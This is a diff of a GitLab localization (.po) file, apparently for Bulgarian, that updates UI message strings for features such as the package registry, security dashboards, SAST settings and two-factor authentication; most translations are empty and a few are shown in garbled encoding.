+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr "Име"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Ðикога"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr "Премахване на проекта"
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr "ТърÑете в клоните и етикетите"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr "Етикети"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr "СъвкупноÑтта от ÑÑŠÐ±Ð¸Ñ‚Ð¸Ñ Ð´Ð¾Ð±Ð°Ð²ÐµÐ½Ð¸ към дÐ
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr "Ð’Ñеки може да има доÑтъп до проекта, без нужда от удоÑтоверÑване."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
